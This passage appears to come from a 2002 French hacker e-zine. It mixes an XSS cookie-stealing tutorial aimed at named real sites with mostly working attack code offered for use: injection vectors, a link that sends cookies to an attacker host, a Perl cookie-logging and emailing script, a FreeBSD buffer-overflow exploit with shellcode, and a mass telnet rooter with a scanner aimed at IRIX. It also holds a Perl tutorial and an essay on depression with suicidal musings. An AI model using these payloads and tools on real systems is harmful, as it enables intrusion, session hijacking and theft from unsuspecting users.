ne faut pas absolument cliquer sur  un lien pour être vulnérable à  une attaque
XSS,  il  est  possible de  faire  exécuter  le code  dans  un  html e-mail  ou
directement en visitant une page web. 

A l'attaque moussaillon
-----------------------
Bon, premièrement, il faut trouver une  faille XSS. Une méthode simple pour  en
découvrir est de remplacer n'importe quel données en user input par 
<script>alert(document.cookie);</script>
Les meilleurs endroits pour chercher des failles XSS sont les CGI scripts,  les
engins de recherche, les forums interactifs, les pages d'erreurs personnalisées
etc... Voila des exemples d'endroits ou  vous pouvez insérer le evil code  dans
le code normal. 

XSS common injection
--------------------
<a href="javas&#99;ript&#35;[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<s&#99;ript>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script))<!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]

Comme chez Mindkind  on est pas  cheap, on va  vous faire un  exemple réel mais
inutile  de  cookie stealing  à  l'aide d'une  attaque  XSS. Vu  qu'on  est des
comiques on a ciblé www.toile.qc.ca en hommage à Pierre-Karl Péladeau (osti  de
cave) 

Tiens l'engin de recherche est vulnérable
URL preuve:

http://recherche.toile.qc.ca/cgi-bin/recherche?ou=T&q=&categorie=&ad=w5n2&client=
netgraphe&ie=latin1&oe=latin1&output=xml_no_dtd&ip=205.237.234.78&userid=netgraphe
&userip=205.237.234.78&start=0&num=20&lr=&query=%3Cscript%3Ealert%28
document.cookie%29%3B%3C%2Fscript%3E&x=24&y=7

Bon si vous avez visité www.toile.qc.ca le cookie va contenir de quoi (sinon il
n'apparaîtra rien parce qu'il va être vide)
Dans mon cas ça la donné un cookie contenant xs=2 (joie)
Bon on va voler les cookies des autres users.
Il faut procéder en 5 étapes :
1- Trouver une application  vulnérable au XSS qui  possède une forme de  login.
(si on veux voler quelque chose d'intéressant mais c'est pas notre cas, on  est
des théoriciens, pas des criminels)
C'est fait.
2- Envoyer une requête visant à voler le cookie d'un utilisateur de la toile du
Québec à l'utilisateur en question.  On peux utiliser le social  engineering ou
peu importe, tant qui  exécute le code dans  son browser. Pour l'exemple  on va
faire une page web bidon 

Code source de la page web:
<html>
<head>
<title>MindFlayR evil cookie stealing page</title>
</head>
<body>
<a href="http://recherche.toile.qc.ca/cgi-bin/recherche?page=1&lang=fr&operator=and&categorie=
&tronquer=&query=%3Cscript%3Edocument.location.replace%28%27http%3A%2F%2Fmindflayrwebsite.com
%2Fsteal.cgi%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E&x=12&y=15">
I will stole your cookie when you will click here 
</a>
</body>
</html>

Comme  vous  pouvez peut-être  le  remarquer, la  requête  prend le  cookie  de
l'utilisateur qui click sur le lien et l'envoie à
                                          http://mindflayrwebsite.com/steal.cgi

Pour rendre l'attaque  encore plus subtile  il est possible  de cacher la  vrai
destination du lien avec un simple code 
onMouseOver="window.status='http://www.legentilsitedeloncletom.com';return true"
onMouseOut="window.status='';return true">Visiter le gentil site de l'oncle Tom!
Il faut bien sûr insérer ce code à la place du texte "I will stole your  cookie
when you will click here " du premier code. 

3- Quand l'utilisateur  click sur le  lien souhait visiter  le site de  ce cher
oncle   Tom,   le   cookie   est   envoyé   sur   le   script   steal.cgi    de
mindflayrwebsite.com. 

4- Le script steal.cgi enregistre le cookie
Comme je suis trop  lâche pour coder un  cookie stealer moi même  j'ai emprunté
celui de David Endler de idefense (en fait c'est pas que je suis lâche mais  je
manque de  temps écrivant  mon article  a dernière  minute comme d'habitude) 
[ Note de Last : t pas si pire MindFlou, ya du monde qui on  écrit leur article
après la dernière minute ;-) ]

------cookie stealer code-----
#!/usr/bin/perl
# steal.cgi by David Endler dendler@idefense.com
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we'll also email them too
open(COOKIES,">>stolen_cookie_file");
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES "$ENV{'QUERY_STRING'} from $ENV{`REMOTE_ADDR'}\n";

# now email the alert as well so we can start to hijack

open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL "$ENV{'QUERY_STRING'} from $ENV{`REMOTE_ADDR'}\n";
close (MAIL);

------end of code--------

5- Aller voir ses emails et récupérer le cookie fraîchement volé!

xss vuln too: 
http://www.ulaval.ca/adul/rechercher.html
http://www.francite.com
http://www.normos.org/fr/textSearch.html
http://www.sierraflower.com/sff/search_fr.asp?NC=1&VarID=0&S_Param1=&L=2333318476235
http://www.emergis.com/fr/other/help/results.asp?Scope=all&q1=%3Cscript%3Ealert%28%27Mindkind+owned+your+ass%27%29%3B%3C%2Fscript%3E
http://www.montrealdvd.com/search.asp
http://search.canoe.ca/canoe/?lr=canoesearch&q=%3Cscript%3Ealert%28%27Mindkind+owned+your+ass%27%29%3B%3C%2Fscript%3E&ad=w5n2&client=netgraphe&ie=latin1&oe=latin1&output=xml_no_dtd&ip=205.237.234.78&userid=netgraphe&userip=205.237.234.78&start=0&num=20&adtest=off&x=12&y=7


Bon j'ai décidé d'aviser les  admins des problèmes de cross-site  scripting sur
leur site question de voir leur réaction.

Mon e-mail (envoyé vers le 1 décembre 2002)
----------
Bonjour, je vous écris pour vous  aviser d'un problème de sécurité sur  (le nom
du  site)  (en  fait  l'engin  de  recherche).  Il  suffit  d'injecter  du code
javascript  dans  la  boite  de requête  pour  le  faire  exécuter. (cross-site
scripting vulnerability)

<script>alert('Voila le probleme de sécurité');</script>
par exemple...

Voici quelques liens pour vous aider a régler le problème et sur cette sorte de
vulnérabilité :
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.cert.org/archive/pdf/cross_site_scripting.pdf
http://www.idefense.com/XSS.html
J'espère que ceci  pourra vous aider  et j'espère avoir  des nouvelles de  vous
très bientôt.

MindFlayR
mindflayr@mindkind.org
http://www.mindkind.org:8787/

Reponse (en date du 9 décembre 2002)
-------

admin@toile.com
---------------
Patch: Non
Reponse: Non

adul@adul.ulaval.ca
-------------------
Patch: Non
Reponse: Non

commentaires@francite.com
-------------------------
Patch: Oui
Reponse: Non

info@normos.org
---------------
Patch: Non
Reponse:Non

solutions@emergis.com
---------------------
Patch: Non
Reponse: Non

info@montrealdvd.com
--------------------
Patch: Non
Reponse: Non
Note:  montrealdvd.com semble  utiliser  une  vieille version  de Snitz  Forums
2000. La vulnérabilité de l'engin de  recherche n'apparaît pas nul part sur  le
web (après de courtes recherches) mais le problème semble réglé sur le site  de
Snitz (http://forum.snitz.com/).

Comme vous pouvez l'observer, seul francite a patché son engin de recherche  ce
qui semble démontrer que tout le  monde se fout complètement de la  sécurité au
québec.

En guise de conclusion, j'espère que vous avez comprit maintenant la menace que
représente les failles XSS et que vous  avez une bonne idée de la façon  de les
exploiter (et donc de patcher vos codes pour éviter cela). Je vous reviens dans
le prochain Mindkind avec quelques trucs croustillants.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                mindflayr@mindkind.org                   /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'






        ____         ,-------------------------------------------------
       /    \        |
      |  _   |       | Mindkind's handy code #467
      | / \  |       | 
      ||   | |      /  Vous avez besoin de générer une liste d'IPs random
      (.) (.)|     /   pour X projet (worm, scanner, peu importe) et vous
      ||   | |    <__  êtes trop lâche pour le coder vous-même ?
      ||   | | |     | Mindkind a une solution cheap et facile pour vous.
      ||   | | |     |
      |____/|| |     | /*
      |\___/ | |     | Random Ip Generator by [Funky] of mindkind.org
      ||   | | |     | inspired by an original code of ADM and an 
      ||   | | |     | idea of MindFlayR
      ||   | | |     | put 500 random ip (not always really used ip) in result.log
      ||     | |       in result.log
      | \___/  |       */
      |        |       #include <stdio.h> 
       \______/        #include <time.h>
		       #include <stdlib.h>

			int myrand(){
			   int j;
			   j=1+(int) (230.0*rand()/(RAND_MAX+1.0));
			   return(j);
			}

			void main(){
			   int i, a;
			   int FiLe = fopen("result.log", "wa");

			   for(a = 0; a < 500; a++){ /* you can change the number of generated ip here */
			      srand((time(NULL)*rand()));
			      for (i = 0; i < 3; i++)
			         fprintf(FiLe, "%i.",myrand());

			      fprintf(FiLe, "%i\n",myrand());
			   }
			}





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.12   Useless meeting                                \        \     !
     .             aka                                         \        \    .
     ;     This isn't que square root of 0                      \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

T'as quel age ?  Je lui est répondu  18, mais que réflexion   faite, ça n'avait
pas réellement d'importance. Il ma demandé  pourquoi je lui est dit ça,  je lui
est dis que mon corps va vieillir,  même si je perds toute notion du temps.  Je
me  suis assis,   il était   à coté  de moi.  Pourquoi cette  personne  peut-il
m'aider  ?  C'est   sur, il  avait mit  tout ses  diplômes   représentant   ses
exploits  pseudo- intellectuels sur le mur,  mais  bon, j'aurais  sûrement   pu
faire pareil avec un peu de volonté,  et  je  ne suis quand même pas en  mesure
de m'aider  moi-même.  J'avais   le goût  d'une cigarette,  mais j'imaginais un
logo interdisant de  fumer  sur  le mur rouge foncé  de la pièce; non,  il n'en
avait pas. Ce n'est qu'une fois allumée qu'il ma demandé de ne pas fumer, comme
s'il s'imaginait que j'allais  porter  une cigarette  qui n'est pas allumer sur
le  rebord de  mes lèvre   pendant  10  minutes.  Je  n'ai pas  trop saisi  son
raisonnement, et je crois qu'il a pu le lire dans  mon regard, car il ma  tendu
un cendrier vide,  comme  si j'étais le  premier  a fumer en sa  compagnie.  Je
lui  est   demandé  pourquoi   il  est  propriétaire d'un  cendrier,  s'il  est
interdit de fumer. Il ma répondu  que certain patient avaient un grand   besoin
de nicotine, et qu'il était en mesure de faire  quelques  compromis.   J'aurais
eu le  goût de  lui dire  que ce   n'était  pas   mon  cas,  mais  s'il préfère
faire des  conclusions  rapides,   c'est  son   choix.  Tout  compte fait,   je
n'étais pas venu   ici pour parler  et penser aux  cigarettes, je me  suis donc
permit de lui demander de  commencer la rencontre.  Comme s'il  s'attendait que
je lui demande exactement  ça, il s'est mit  a écrire sur une  feuille blanche,
non-lignée. Il à  sûrement écrit mon  nom et mon  age,  les  2   seules  choses
qu'il savait sur moi, à l'instant présent.  Mais il continuait d'écrire, et  me
posant des questions, sans même me regarder :  "tu  as fini l'école ?"  Je  lui
expliqué  que  en  principe oui,   mais qu'en théorie, non. "pourquoi  ?" parce
que j'ai lâché  avant d'avoir fini au complet mon secondaire, mais que  j'avais
assé de crédits pour graduer. Il n'a pas sembler satisfait de ma réponse.  S'il
l'aurait été,   il  ne   m'aurait  sûrement  pas demander  pourquoi j'ai  lâché
avant le temps. Ça ma  un peu fâché, et je  lui  est  dit  que  je  n'étais pas
venu ici pour parler  de   mon  école,  mais  de  moi.  Il a lever la tête,  un
peu trop rapidement  à mon goût,  et m'a fait  remarquer qu'un humain  passe en
majorité une grande partie de sa vie à étudier, et que cela fait parti de  lui.
J'aurais bien aimé le contredire, mais ce  qu'il disait n'était pas  totalement
faux,  j'ai  donc  approuvé,   pour  ensuite   lui    donner   un   regarde  de
quelqu'un qui semble  intéresser à sa  prochaine question. Au  fait, je n'étais
pas intéresser. Mais j'ai fini par me dire qu'il valait mieux le laisser  faire
sa   job, comme  ça je  s'aurai sortie  d'ici assez  rapidement. Pendant  le  2
minutes qu'il prenait  à écrire ce  que je lui  avait dit,  je   préparais  les
réponses aux  questions potentielles  dans ma  tête. Mais  il était loin d'être
pathétique, ou conformiste dans ses  questions. Ça,  je  l'ai  remarqué   à  sa
2ieme question, lorsqu'il ma  demandé   clairement  si  je s'avais que  j'étais
déprimé. C'est  la   question  la  plus   stupide  que j'avais  jamais entendu,
mais  c'étais  une  des  celles  que  je n'avais pas eu la chance d'y  répondre
intérieurement.   J'ai  tenté de  lui  expliquer que  je  passais une   période
sombre,  mais  qu'en normalité, je  n'étais  pas aussi bas. Ensuite on a  parlé
de tout et de rien, il ma même   demandé se que je faisais de mes journées.  Je
lui est répondu  que je lisais,  j'écrivais, et  que   j'essayais de dormir  le
plus tard possible, que  rendu au  soir  s'il   faisait beau, j'allais au  Tim;
sinon, je m'enfermais dans  ma chambre.  Le facteur  a prendre en note  est  sa
réaction  qu'il  a  eut quand  il  a  saisi que  je  n'avais   aucuns  rapports
sociaux.   Il  a   semblé surpris,   et ça  ma surpris  moi aussi  de  le  voir
surpris.   Vers la  fin de  ma rencontre,    il   ma   fièrement  affirmé   que
j'étais déprimé. Il m'a ensuite  prescrit 4 anti-dépresseurs,  m'a  demandé  de
faire un autre rendez-vous  dans 1 mois avec   la  secrétaire  en sortant,   et
ma   souhaité   bonne  chance.   J'ai   eu envi   de  lui demander  si  j'étais
simplement venu ici pour un 30   minutes en sa compagnie, me faisant  poser des
questions  que  je  me   suis  déjà posés moi-même,  mais je me suis  tait,  et
j'ai quitté la pièce, en le remerciant.

J'ai donc eu la réponse a ma question,  oui, je suis déprimé. Et j'ai fini  par
me dire  que  la  déprime  est   l'état  même  de  la rencontre avec  l'idée du
non-être. Depuis ce jour, je tente de  me dire que ça va  passer,  que  se tuer
n'est pas la solution,  car il est toujours  trop tard,  et que  peu importe la
façon  dont je  vie, je  vais finir  au même  endroit  que   le  déprimé,   que
l'heureux. Après tout, tout  le  monde  le  sait   bien, la vie ne  vaut pas la
peine d'être vécue.  Ma  conclusion se rapproche au malheur d'avoir d'avoir une
conscience, et de là,  on  ne  peut  pas réellement y changer quoi que ce soit.
Demain j'irai revoir le psy.  J'ai déjà préparé  mes réponses, en préparant mon
subconscient  aux mensonges  qui pourraient  sortir de  ma bouche:  oui, ça  va
mieux. Après tout, je ne l'aime pas, rien m'empêche de  lui jouer un jeux,   et
tout compte faite, ça l'avantage lui aussi; son estime personnelle  va  monter.
Oui, demain j'irai le  voir, il me reste   qu'à espérer que  ça  ne prendra pas
trop  longtemps,  de cette  façon,  je  pourrai revenir ici, déprimer en  paix,
et haïr ma  putain  de conscience.


                                                           c4ndu.
     


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 c4ndu@mindkind.org                      /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'






   < Mindkind tales from IRC >
   < Directly from rebels division >

   [21:31] <LastCall_> la dailleurs jcontinue mon tuto
   [21:32] <nothing94> "comment hacker Pathfinder avec Perl et un signal laser" je suppose ?
   [21:33] <LastCall_> HAHAHAHAHA
   [21:34] <nothing94> jpensais pas ctait si drole que ça

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.13   À la conquête du chameau; Part 3               \        \     !
     .             aka                                         \        \    .
     ;          J'aurais mieux aimé camel dise pas              \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     


Les dernières parties de ce tutorial étaient plutôt fastoches, on a vu  comment
jouer avec les variables, et comment faire des expressions avec des opérateurs.
Il serait peut-être temps  qu'on voie  des choses  pour enfin programmer! Voici
donc les structures de contrôles et boucles.


L'art de faire 72000 affaires avec if
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Bon c'est une  blague, il n'y  a pas vraiment  72000 affaires à  faire avec if,
mais par  contre Perl  offre l'inverse  du if,  le moyen  d'inverser if  et une
manière bizarre de dire else if. Voici donc de quoi tout ça a l'air :
if ($CONDITION) { affaires(); }
Dans le cas la les { } sont OBLIGATOIRE. Que vous faite ça sur une ligne ou
if ($CONDITION) {
	affaires();
}
de  même, vous  avez à  mettre les  {} tout  le temps.  Si vous  vous  demander
pourquoi, ou  bien comment  se débarrasser  de ça,  c'est que  le if agit d'une
manière peu commune :
affaires() if ($CONDITION);
Cette  ligne est  totalement valide.  Évidemment on  exécute affaires()  si la
condition est vrai... Admettons que  vous voulez faire le contraire  de if(si),
disons un if(!$CONDITION), et bien vous pouvez utiliser unless(sauf si) :
unless ($CONDITION) {
	affaires();
}
Le else existe, et le else if  est nommé bizarrement elsif. Il est à  noter que
unless n'a pas de "elsunless". Voici un exemple clair :
if ($CONDITION) {
	affaires();
} elsif ($CONDITION2) {
	affaires2();
} else {
	affaires3();
}
Finalement, l'opérateur conditionnel "? :" (comme en C) existe aussi en Perl :
$CONDITION ? affaires() : affaireselse();


Boucles Boucles Boucles Boucles Boucles
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Loops en anglais (moins laid que boucles j'avoue).
On retrouve en Perl les loops que nous sommes habitués de voir :
while($COND) { affaires(); }
until($COND) { affaires(); }
for(my $i = 0; $i <=10; $i++) { affaires(); }
Cependant on retrouve aussi des affaires ésotériques tel que le "continue" :
while($COND) { affaires(); } continue { print "hop! "; }
À chaque itération du while le bloque après continue sera exécuté, un peu  dans
le genre du $i++ dans le for. Aussi, il y a des "shortcuts" qu'on peut prendre.
Admettons qu'on veut  passer à la  prochaine itération de  la boucle sans  tout
exécuter dans les affaires(), et bien on met un next; qui s'occupera de quitter
le code en cours et d'aller à la suite de la boucle. Il existe aussi last;  qui
permet de quitter  la boucle. Et  comme si c'était  pas assé, il  y a redo; qui
refait le block d'affaires à exécuter. Palpitant.
En  plus de  ces boucles,  on retrouve  le fameux  foreach. foreach  permet de
parcourir une liste et d'exécuté le bloc à chaque item de la liste :
foreach $jour (@semaine) { print $jour; }
va imprimer chaque jour dans semaine(exemple poche j'avoue). Pour rajouter plus
de liberté dans  votre vie de  programmeur, foreach est  pareil que for  (huh),
c'est à dire que  si vous écrivez for  $jour (@semaine) et bien  ça va marcher.
Personnellement je préfère écrire foreach car ça se "lit mieux". N'oublier  pas
que le @semaine est traité en valeur de liste, donc on peut utiliser  n'importe
quel fonction  qui retourne  une liste  (comme keys  pour savoir  les clef d'un
hash, de cette manière  : keys %monhash) ou  bien encore écrire directement  la
liste nous même :
foreach $machin ("pwet", "meuh", "ayoye")
ça va marcher. on peut aussi mettre 1..10 pour compter de 1 à 10..
De plus, si vous mettez pas $machin, ça va marcher pareil! Respectivement,
"pwet", "meuh" et "ayoye" vont se retrouver dans $_. Humm bizare ce $_...


Les variables bizares
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Perl contient une  panoplie de variables  dites "bizares" ou  "spéciales". Elle
sont spéciales car elles contiennent toute sorte d'affaire magiquement affecté.
Par exemple le $_ contient la "chose" en cours :
foreach (1,2,3) { print $_; }
Va imprimer les 1 2 3 vu que le $machin devant la liste a été ommit.
On peut aussi faire:
foreach (1,2,3) { print; }
car print  imprime $_  lorsqu'on lui  passe aucun  argument ;-)  $_ ne sert pas
juste pour  foreach, il  sert aussi  au pattern  matching, et  lorsqu'on lit un
fichier. Il est aussi appelé $ARG lorsque l'ont met "use English;" au début  de
notre script. D'ailleurs  pour chaque variable  spéciale, il existe  sa version
anglaise, qui est bien  sûr plus longue à  écrire, mais plus facile  à retenir.
Bien qu'il existe plusieurs variables  spéciales, je me sers presque  seulement
de ceux-ci, les autres étant trop précis ou trop compliquer à retenir :
$!
  Contient la dernière erreur
     open FICHIER, "fichier" or die "ne peut ouvrir fichier : $!";
@ARGV
  liste qui contient les arguments passés au script par la command line
%ENV
  hash qui contient l'environnement Unix 
     exemple : $ENV{PATH}
$]
  contient la version courante de Perl
     $PERL_VERSION avec use English;
$0
  contient le nom du fichier du script Perl en cours
$^O
  contient le nom du OS pour lequel le binary de Perl a été compilé
@_
  liste qui contient les paramètres d'une sub..
  
(remarquer encore ici le lien logique entre mon dernier mot de cette section et
la prochaine section, hehe)


Les sous-routines (sub)
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Un jour va arriver que vos scripts Perl vont commencer à être un peu plus  gros
que 2  lignes. Cette  journée la  vous allez  sûrement aussi  commencer à  vous
servir des subs :
sub zouit { affaires(); }
Cette ligne déclare la sub zouit  qui va exécuter les affaires(). Pour  une sub
avec des paramètres, on la call de la manière suivante :
zouit $param1, $param2;
Dans la déclaration de la sub, il n'y a aucune spécification de paramètres.  La
raison est que chaque paramètre est empilé dans la pile nommée @_, on y  accède
donc de la manière suivante:
sub zouit {
	my $bah = shift @_;
	my $beh = shift @_;
}
On peut  aussi omettre  le @_  et juste  écrire shift,  qui va  le shifter  par
défaut. Si on est sûr qu'on va toujours avoir 2 paramètres, on peut aussi faire
sub zouit {
	my ($bah, $beh) = @_;
}
Rappel : Les parenthèses dans ce cas-ci  serve à donner un contexte de liste  à
$bah et $beh dans le  but de lui associer une  autre liste (le array @_);  Pour
retourner de la sub, on utilise return; (ouf compliqué ça la). Aussi noter  que
dans @_ on mets n'importe quel  variable qu'on veut, autant des hash,  d'autres
listes, des références.


Jouer aux blocs légos c'est funne
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

Depuis tantôt qu'on voit des  {} partout. Ordinairement en programmation  on ne
se pose pas trop de questions, ça fait parti de la syntaxe de chaque statement.
Par contre en Perl un {} est appelé un bloc et peut être utilisé seul.
{
	affaires();
}
Bon ok peu pratique, mais on peut faire comme avec les boucles, mettre un  next
dedans et ça va sortir du block.. (même chose avec last, pis on peut même faire
un redo. heh)
{
	next if ($COND);
	affaires();
}
Disons que c'est une façon bizarre de faire un if..


Les bons vieux GOTOs
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Depuis tantôt que je parle de boucles, de next, de last et etc.. Les plus futés
d'entre-vous on sûrement aperçu un genre de  goto dans ça. Et bien oui, Perl  a
des GOTOs. On peut même le faire nous autre même. Mettons que j'ai un while, et
bien  je peux  mettre devant  un label  pour spécifier  le nom  du while..  pas
pratique quand il y a juste un while, mais très quand ta 2 boucles imbriquées :
MEUH: for (1..2) {
	for (1..5) {
		print $_;
		next MEUH if ($_ == 2);
	}
}
Plutôt useless, mais ça démontre bien comment s'en servir. Faites attention ici
de ne pas mettre "gogo" lui même à la place de next, bien que ça fasse la  même
chose, le next termine la 2ième boucle  for, alors que le goto garde tout  à la
même place (ce qui  résulte en une boucle  infinie). On peut donc  utiliser les
gotos comme on veut, mais il faut faire attention.. Je pourrais écrire :
goto MEUH;
ici et ça va retourner à ma boucle de tantôt.. comme dans le bon vieux temps de
la programmation en BASIC, heh.


Conclusion
¯¯¯¯¯¯¯¯¯¯
Et voilà, maintenant avec l'accumulation  de mes autres articles,  vous  pouvez
coder des scripts qui ont de l'allure et  comprendre ceux qui sont  déjà écrit.
Les  prochains articles  s'annoncent plus  pratiques que  théoriques, car  coté
théorie de base j'ai déjà fait le tour pas mal, c'est juste que Perl est  conçu
à 99% de  "tip & tricks",  donc il risque  un jour que  d'avoir des articles de
"tips" et de "tricks".. d'ici là, on  va avoir  passé par les modules les  plus
populaires en Perl, et la  programmation orientée objet en Perl.  (Ça parais-tu
je me suis fait un plan pour les futurs articles? haha!)

Dans la prochaine partie de ce  tutorial nous allons  voir le pattern  matching
en Perl  et comment utiliser des modules. Si vous avez des questions  n'hésitez
pas à me  les poser, si pertinentes, elles seront répondues et inclues dans les
futurs articles.

                                                                    - LastCall_



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                lastcall@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




------------------------------- 8< cut here 8< -------------------------------


#!/usr/bin/perl
#
# Fbsd RayControl exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";

my $ret   = "\x90\xf8\xbf\xbf";
my $nop   = "\x90";
my $head  = 36;
my $body  = 100;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= "A"x$head;
 $buf .= $ret;
 $buf .= $nop x($body-length($execv));
 $buf .= $execv;

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/raycontrol", "-i" , "$buf");

------------------------------- 8< cut here 8< -------------------------------




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.14 Mass telned against irix                         \        \     !
     .             aka                                         \        \    .
     ;       T'en veux-tu du code en vla!                       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
            
            
                                      
# wassup MinDkinD 
# j'aimerais vous présenter un petit projet que j'ai faite
# parce qu en réalité *JMEMMERDE* , en tk tout dans le
# but de vous faire part de la vulnérabilité des systèmes IRIX
# vis versa le deamon telnetd , Hey , oui ! encore un massrooter
# désolé je manque d'imagination anyways , vla l'code :

-------------- [ mass-irix.sh ] ------------------------------

#!bin/sh

author () {

echo " ################## "
echo " # -=[mindkind]=- # "
echo " #  koded by vaL  # "
echo " ################## "
echo " #  mass telnetd  # "
echo " #  against irix  # "
echo " ################## " 

         } 
author
sleep 3
main () {  echo " perfect , which subnet u wanna target ex : 134.25 "
           read subnet
           echo " -> n0ted. of course we attacking port[23] "
           port="23"
           echo " holdon buddy ,loading scan properties   "
           echo " ***Launching scan against $subnet $port "
           nohup ./pscan $subnet $port &
        }
sleep 3
main
echo " -> perfect scan is running "
sub () { tail -f ips.log | while read VICTIM
         do
           echo " *** verifiing $1 *** "
           ./irixscan $1 
         done
 
       }
echo " ***Launching attack*** in 5 sec  "
sleep 5
sub
exit 0
-------------------------------------------------------------------------------------

# lame bin/sh skript0r to run tha massrooter

-------------- [ pscan.c ] -----------------------------------------------------------
/*
** pscan.c - Originally by Volatile
** modified by _dave
** and finally re-written by vaL0r
** -=[ mindkind team ]=-
*/

#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>

#define MAX_SOCKETS 1000
#define TIMEOUT 2

#define S_NONE       0
#define S_CONNECTING 1

struct conn_t {
    int s;
    char status;
    time_t a;
    struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void fatal(char *);

FILE *outfd;
int tot = 0;

int main(int argc, char *argv[])
{
    int done = 0, i, cip = 1, bb = 0, ret, k, ns, x;
    time_t scantime;
    char ip[20], outfile[128], last[256];

    if (argc < 3)
    {
        printf("Usage: %s <b-block> <port> [c-block]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    memset(&outfile, 0, sizeof(outfile));
    if (argc == 3)
        snprintf(outfile, sizeof(outfile) - 1, "ips.log", argv[1], argv[2]);
    else if (argc >= 4)
    {
        snprintf(outfile, sizeof(outfile) - 1, "ips.log", argv[1], argv[3], argv[2]);
        bb = atoi(argv[3]);
        if ((bb < 0) || (bb > 255))
            fatal("Invalid b-range.\n");
    }

